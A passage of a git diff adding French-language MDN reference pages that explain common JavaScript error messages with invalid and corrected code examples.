+ this.nomChien = "Ralph";
+ return this;
+}
+
+Chien.prototype.nom = function(nom) {
+ this.nomChien = nom;
+ return this;
+}
+
+
+var monNouveauChien = new Chien();
+monNouveauChien.nom("Cassidy"); // Chien { age: 11, couleur: "noir", nomChien: "Cassidy" }
+</pre>
+
+<h3 id="Utiliser_des_parenthèses_pour_la_multiplication">Utiliser des parenthèses pour la multiplication</h3>
+
+<p>En notation mathématique, on peut écrire 2(3+5) pour indiquer qu'on souhaite multiplier 2 par 3 + 5. Toutefois, une telle écriture n'est pas valide en JavaScript car il faut préciser l'opérateur de multiplication :</p>
+
+<pre class="js example-bad">var seize = 2(3 + 5);
+console.log('2 x (3 + 5) vaut ' + String(seize));
+// Uncaught TypeError: 2 is not a function</pre>
+
+<p>Pour corriger, il suffit d'ajouter l'opérateur <code>*</code> :</p>
+
+<pre class="js example-good">var seize = 2 * (3 + 5);
+console.log('2 x (3 + 5) is ' + String(seize));
+//2 x (3 + 5) is 16
+</pre>
+
+<h3 id="Importer_un_module_exporté_correctement">Importer un module exporté correctement</h3>
+
+<p>Assurez-vous d'importer le module correctement. Si par exemple, on dispose d'une bibliothèque <code>helpers.js</code> avec le code suivant :</p>
+
+<pre class="brush: js">let helpers = function () { };
+helpers.log = function(msg) {
+  console.log(msg);
+};
+
+export default helpers;</pre>
+
+<p>Pour l'importer côté application, on écrira :</p>
+
+<pre class="brush: js">import helpers from './helpers'</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Les fonctions</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/not_defined/index.html b/files/fr/web/javascript/reference/erreurs/not_defined/index.html
new file mode 100644
index 0000000000..6ec4ec7dfa
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/not_defined/index.html
@@ -0,0 +1,70 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Erreurs/Not_defined
+tags:
+  - Erreur
+  - JavaScript
+  - Reference
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une variable qui n'existe pas est référencée quelque part. Cette variable doit être déclarée ou il faut vérifier qu'elle est disponible dans le script concerné ou dans la portée utilisée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lors du chargement d'une bibliothèque comme jQuery, assurez-vous de bien charger la bibliothèque avant d'accéder aux variables comme <code>$</code>. La balise {{HTMLElement("script")}} utilisée pour charger la bibliothèque doit être présente avant le code qui l'utilise.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_de_variable_non_déclarée">Exemple de variable non déclarée</h3>
+
+<pre class="brush: js example-bad">toto.substring(1); // ReferenceError: toto is not defined
+</pre>
+
+<p>La variable <code>toto</code> n'est définie nulle part. De plus, il faut qu'elle soit une chaîne de caractères afin que la méthode {{jsxref("String.prototype.substring()")}} puisse fonctionner.</p>
+
+<pre class="brush: js example-good">var toto = "truc";
+toto.substring(1); // "ruc"</pre>
+
+<h3 id="Exemple_de_portée_invalide">Exemple de portée invalide</h3>
+
+<p>Une variable doit être disponible dans le contexte d'exécution où elle est utilisée. Les variables définies au sein d'une fonction ne peuvent pas être utilisées en dehors de cette fonction car la variable appartient à la <em>portée</em> de la fonction.</p>
+
+<pre class="brush: js example-bad">function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 is not defined.</pre>
+
+<p>Toutefois, une fonction peut accéder aux variables et aux fonctions définies dans la portée dans laquelle elle s'inscrit. Ainsi, une fonction définie dans la portée globale peut utiliser toutes les variables définies dans la portée globale.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Déclaration_de_variables">La déclaration de variables dans le guide JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions#Portée_d'une_fonction">Les notions de portées dans le guide JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/precision_range/index.html b/files/fr/web/javascript/reference/erreurs/precision_range/index.html
new file mode 100644
index 0000000000..888b151408
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/precision_range/index.html
@@ -0,0 +1,98 @@
+---
+title: 'RangeError: precision is out of range'
+slug: Web/JavaScript/Reference/Erreurs/Precision_range
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Precision_range
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: The number of fractional digits is out of range (Edge)
+RangeError: The precision is out of range (Edge)
+RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Un argument dont la précision est en dehors de l'intervalle valide, prévu par le moteur JavaScript, a été utilisé pour une de ces méthodes :</p>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
+
+<p>Généralement, ces méthodes acceptent des arguments de précision compris entre 0 et 20 (voire 21). Cependant, la spécification ECMAScript permet de gérer des valeurs en dehors de cet intervalle.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Firefox (SpiderMonkey)</th>
+   <th scope="col">Chrome, Opera (V8)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.prototype.toExponential()")}}</td>
+   <td>0 to 100</td>
+   <td>0 to 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toFixed()")}}</td>
+   <td>-20 to 100</td>
+   <td>0 to 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toPrecision()")}}</td>
+   <td>1 to 100</td>
+   <td>1 to 21</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">77.1234.toExponential(-1);  // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100);         // RangeError
+2.34.toFixed(1001);         // RangeError
+
+1234.5.toPrecision(-1);     // RangeError
+1234.5.toPrecision(101);    // RangeError
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html b/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html
new file mode 100644
index 0000000000..52a86be808
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/property_access_denied/index.html
@@ -0,0 +1,47 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Erreurs/Property_access_denied
+tags:
+  - Erreurs
+  - Error
+  - JavaScript
+  - Sécurité
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Error: Permission denied to access property "x"
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("Error")}}.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p><span class="seoSummary">Il y a eu une tentative d'accès non-autorisée à un objet sur lequel vous n'avez pas de permissions. Généralement, cela se produit lorsqu'un élément {{HTMLElement("iframe")}} est chargée depuis un domaine différent et que <a href="/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">la condition de même origine</a> n'est pas respectée.</span></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+    &lt;script&gt;
+      onload = function() {
+        console.log(frames[0].document);
+        // Error: Permission denied to access property "document"
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">Condition d'origine (<em>same-origin policy</em>)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/read-only/index.html b/files/fr/web/javascript/reference/erreurs/read-only/index.html
new file mode 100644
index 0000000000..b48b622e27
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/read-only/index.html
@@ -0,0 +1,80 @@
+---
+title: 'TypeError: "x" is read-only'
+slug: Web/JavaScript/Reference/Erreurs/Read-only
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Read-only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
+TypeError: "x" is read-only (Firefox)
+TypeError: 0 is read-only (Firefox)
+TypeError: Cannot assign to read only property 'x' of #&lt;Object&gt; (Chrome)
+TypeError: Cannot assign to read only property '0' of [object Array] (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La variable globale ou la propriété ne peut pas recevoir de valeur ou être modifiée car elle est en lecture seule (d'un point de vue technique, il s'agit d'<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty#Attribut_writable">une propriété de donnée en lecture seule</a>).</p>
+
+<p>Cette erreur ne se produit qu'avec <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">le mode strict</a>. En mode non-strict, l'affectation est ignorée silencieusement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Les propriétés en lecture seule ne sont pas fréquemment utilisées mais on peut en créer en utilisant les méthodes {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.freeze()")}}.</p>
+
+<pre class="brush: js example-bad">"use strict";
+var obj = Object.freeze({name: "Elsa", score: 157});
+obj.score = 0;  // TypeError
+
+"use strict";
+Object.defineProperty(this, "NB_POUMONS", {value: 2, writable: false});
+NB_POUMONS = 3;  // TypeError
+
+"use strict";
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray[0]++;  // TypeError
+</pre>
+
+<p>Quelques propriétés natives JavaScript sont également en lecture seule. Par exemple, on obtient cette erreur lorsqu'on souhaite redéfinir une constante mathématique.</p>
+
+<pre class="brush: js example-bad">"use strict";
+Math.PI = 4;  // TypeError
+</pre>
+
+<p>La variable globale <code>undefined</code> est également en lecture seule. On ne peut donc pas faire disparaître la fameuse erreur "<em>undefined is not a function</em>" avec ce code :</p>
+
+<pre class="brush: js example-bad">"use strict";
+undefined = function () {};
+// TypeError: "undefined" is read-only
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">"use strict";
+var obj = Object.freeze({name: "Score", points: 157});
+obj = {name: obj.name, points: 0};
+// En changeant d'objet, ça fonctionne
+
+"use strict";
+var NB_POUMONS = 2;  // `var` fonctionne
+NB_POUMONS = 3;  // ok
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html b/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html
new file mode 100644
index 0000000000..66d52b9b2b
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html
@@ -0,0 +1,62 @@
+---
+title: 'SyntaxError: redeclaration of formal parameter "x"'
+slug: Web/JavaScript/Reference/Erreurs/Redeclared_parameter
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Redeclared_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Let/Const redeclaration (Edge)
+SyntaxError: redeclaration of formal parameter "x" (Firefox)
+SyntaxError: Identifier "x" has already been declared (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Le même nom de variable est présent comme paramètre de la fonction et dans une affectation <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> au sein du corps de cette fonction et il n'est pas possible de redéclarer la même variable dans la même fonction ou dans le même bloc avec <code>let</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le fragment de code qui suit, la variable <code>arg</code> redéclare l'argument passé à la fonction.</p>
+
+<pre class="brush: js example-bad">function f(arg) {
+  let arg = "toto";
+}
+
+// SyntaxError: redeclaration of formal parameter "arg"
+</pre>
+
+<p>Si on souhaite changer la valeur de <code>arg</code> dans le corps de la fonction, c'est possible mais il ne faut pas la redéclarer. Autrement dit, on peut retirer le mot-clé <code>let</code>. Si on souhaite plutôt créer une nouvelle variable, mieux vaudra utiliser un autre nom afin d'éviter les conflits avec les noms des paramètres existants.</p>
+
+<pre class="brush: js example-good">function f(arg) {
+  arg = "toto";
+}
+
+function f(arg) {
+  let truc = "toto";
+}
+</pre>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>Avant Firefox 49 {{geckoRelease(49)}}, cela provoquait une exception {{jsxref("TypeError")}} ({{bug(1275240)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var">var</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Déclarations">Déclarer des variables</a> dans le <a href="/fr/docs/Web/JavaScript/Guide">guide JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html b/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html
new file mode 100644
index 0000000000..40bb79c083
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html
@@ -0,0 +1,88 @@
+---
+title: 'TypeError: Reduce of empty array with no initial value'
+slug: Web/JavaScript/Reference/Erreurs/Reduce_of_empty_array_with_no_initial_value
+tags:
+  - Error
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: reduce of empty array with no initial value
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>En JavaScript, il existe plusieurs fonctions qui permettent de réduire un tableau :</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} ainsi que</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).</li>
+</ul>
+
+<p>Ces fonctions utilisent un argument optionnel <code>valeurInitiale</code> (qui sera utilisée comme premier argument pour le premier appel du <code>callback</code>). Toutefois, si aucune valeur initiale explicite est fournie, la méthode utilisera le premier élément de l'objet  {{jsxref("Array")}} / {{jsxref("TypedArray")}} comme valeur initiale. Cette exception est déclenchée lorsqu'on souhaite réduire un tableau vide car aucune valeur initiale n'a été fournie.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<p>Ce problème se produit lorsqu'on combine une méthode de filtrage ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) qui retire tous les éléments du tableau. Si on applique ensuite une réduction, il n'y aura pas de valeur initiale.</p>
+
+<pre class="brush: js example-bad">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0)         // cet appel retire tous les éléments
+    .reduce((x, y) =&gt; x + y)    // aucun ne peut alors être utilisé comme valeur initiale</pre>
+
+<p>Cela peut également se produire si on utilise un sélecteur avec une coquille ou que la liste contient un nombre d'élément inattendu:</p>
+
+<pre class="brush: js example-bad">var names = document.getElementsByClassName("names");
+var name_list = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<p>On peut résoudre ces problèmes de deux façons.</p>
+
+<p>On peut fournir une valeur initiale qui soit l'élément neutre de la réduction (par exemple 0 si on additionne, 1 si on multiplie ou la chaîne vide si on concatène du texte).</p>
+
+<pre class="brush: js example-good">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0)         // removes all elements
+    .reduce((x, y) =&gt; x + y, 0) // the initial value is the neutral element of the addition
+</pre>
+
+<p>On peut également gérer le cas où le tableau est vide, avant d'appeler <code>reduce</code> ou dans le <em>callback</em> après avoir ajouté une valeur initiale.</p>
+
+<pre class="brush: js example-good">var names = document.getElementsByClassName("names");
+
+var nameList1 = "";
+if (names1.length &gt;= 1)
+  nameList1 = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+// nameList1 == "" lorsque names est vide
+
+var nameList2 = Array.prototype.reduce.call(names, (acc, name) =&gt; {
+  if (acc == "") // la valeur initiale
+    return name;
+  return acc + ", " + name;
+}, "");
+// nameList2 == "" lorsque names est vide
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.filter()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html b/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html
new file mode 100644
index 0000000000..98bb834523
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html
@@ -0,0 +1,81 @@
+---
+title: 'SyntaxError: "x" is a reserved identifier'
+slug: Web/JavaScript/Reference/Erreurs/Reserved_identifier
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
+SyntaxError: "x" is a reserved identifier (Firefox)
+SyntaxError: Unexpected reserved word (Chrome)</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Mots-clés_réservés_selon_ECMAScript_2015">Les mots-clés réservés</a> lèveront une exception s'ils sont utilisés en tant qu'identifiants. Voici les mots-clés réservés en mode strict et en mode <em>sloppy</em> :</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>Voici les mots-clés uniquement réservés en mode strict :</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Mots-clés_réservés_en_modes_strict_et_non-strict">Mots-clés réservés en modes strict et non-strict</h3>
+
+<p>L'identifiant <code>enum</code> est réservé dans les différents cas :</p>
+
+<pre class="brush: js example-bad">var enum = { RED: 0, GREEN: 1, BLUE: 2 };
+// SyntaxError: enum is a reserved identifier
+</pre>
+
+<p>En mode strict, d'autres mots-clés sont réservés :</p>
+
+<pre class="brush: js example-bad">"use strict";
+var package = ["pomme", "poire", "pêches"];
+// SyntaxError: package is a reserved identifier
+</pre>
+
+<p>Pour ne pas avoir l'erreur, il faudra renommer les variables :</p>
+
+<pre class="brush: js example-good">var enumCouleurs = { RED: 0, GREEN: 1, BLUE: 2 };
+var liste = ["pomme", "poire", "pêches"];</pre>
+
+<h3 id="Mettre_à_jour_les_anciens_navigateurs">Mettre à jour les anciens navigateurs</h3>
+
+<p>Si vous utilisez un ancien navigateur qui n'implémente pas <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> ou <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">class</a></code>, vous devrez mettre à jour votre navigateur :</p>
+
+<pre class="brush: js">"use strict";
+class DocArchiver {}
+
+// SyntaxError: class is a reserved identifier
+// (lève une exception dans les anciens navigateurs
+// tels que Firefox 44 et les versions antérieures)
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://wiki.c2.com/?GoodVariableNames">Utiliser de bons noms de variable</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html b/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html
new file mode 100644
index 0000000000..b42c358fb2
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html
@@ -0,0 +1,49 @@
+---
+title: 'RangeError: repeat count must be less than infinity'
+slug: Web/JavaScript/Reference/Erreurs/Resulting_string_too_large
+tags:
+  - Erreurs
+  - JavaScript
+  - RangeError
+translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">RangeError: argument out of range (Edge)
+RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La méthode {{jsxref("String.prototype.repeat()")}}, qui permet de répéter une chaîne de caractères, a été utilisée avec un argument qui n'est pas compris entre 0 et {{jsxref("Infinity")}} (exclue) (ce qui correspond à l'intervalle [0, +∞))</p>
+
+<p>La chaîne de caractères crée par cette méthode ne doit pas dépasser la taille maximale d'une chaîne. Cette taille varie selon le moteur JavaScript. Pour Firefox (SpiderMonkey), la taille maximale d'une chaîne de caractères vaut 2<sup>28</sup> -1 (<code>0xFFFFFFF</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(Infinity); // RangeError
+'a'.repeat(2**28);      // RangeError
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html b/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html
new file mode 100644
index 0000000000..5a204b96d4
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Warning: unreachable code after return statement'
+slug: Web/JavaScript/Reference/Erreurs/Stmt_after_return
+tags:
+  - JavaScript
+  - Warning
+translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: unreachable code after return statement (Firefox)
+</pre>
+
+<h2 id="Type_derreur">Type d'erreur</h2>
+
+<p>Avertissement</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Ce problème peut avoir deux origines :</p>
+
+<ul>
+ <li>Une expression a été utilisée après l'instruction {{jsxref("Instructions/return", "return")}}</li>
+ <li>Une instruction <code>return</code> a été utilisée sans point virgule mais une expression suivait cette instruction.</li>
+</ul>
+
+<p>Lorsqu'une expression existe après une instruction <code>return</code> valide, un avertissement est produit pour alerter qu'une portion du code ne peut pas être atteinte et ne sera donc jamais lue et exécutée.</p>
+
+<p>Pourquoi est-il préférable d'ajouter des points-virgules après les instructions <code>return</code> ? Si on utilise une instruction <code>return</code> sans point-virgule, cela peut créer une ambiguïté : est-ce que le développeur souhaite que le code qui suit sur la ligne d'après soit exécuté ou non ? L'avertissement relève cette ambiguïté afin de mieux la percevoir pour la lever.</p>
+
+<p>Les avertissements ne seront pas affichés pour les <code>return</code> sans point-virgule si ces instructions suivent :</p>
+
+<ul>
+ <li>{{jsxref("Instructions/throw", "throw")}}</li>
+ <li>{{jsxref("Instructions/break", "break")}}</li>
+ <li>{{jsxref("Instructions/var", "var")}}</li>
+ <li>{{jsxref("Instructions/function", "function")}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: js example-bad">function f() {
+  var x = 3;
+  x += 4;
+  return x;   // return permet de finir la fonction sur le champ
+  x -= 3;     // Cette ligne ne sera jamais lue donc exécutée
+}
+
+function f() {
+  return     // Cette instruction est traitée `return;`
+    3 + 4;   // La fonction termine et cette ligne n'est jamais traitée
+}
+</pre>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: js example-good">function f() {
+  var x = 3;
+  x += 4;
+  x -= 3;
+  return x;  // OK : return est après
+             // toutes les autres instructions
+}
+
+function f() {
+  return 3 + 4  // OK : un return sans point-virgule
+                // avec une expression sur la même ligne
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/return", "L'ajout automatique de point-virgule", "#Ajout_automatique_de_point-virgule", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html b/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html
new file mode 100644
index 0000000000..5e931452e5
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html
@@ -0,0 +1,115 @@
+---
+title: 'SyntaxError: "use strict" not allowed in function with "x" parameter'
+slug: Web/JavaScript/Reference/Erreurs/Strict_Non_Simple_Params
+tags:
+  - Erreurs
+  - JavaScript
+  - Reference
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Edge:
+Cannot apply strict mode on functions with non-simple parameter list
+
+Firefox:
+SyntaxError: "use strict" not allowed in function with default parameter
+SyntaxError: "use strict" not allowed in function with rest parameter
+SyntaxError: "use strict" not allowed in function with destructuring parameter
+
+Chrome:
+SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
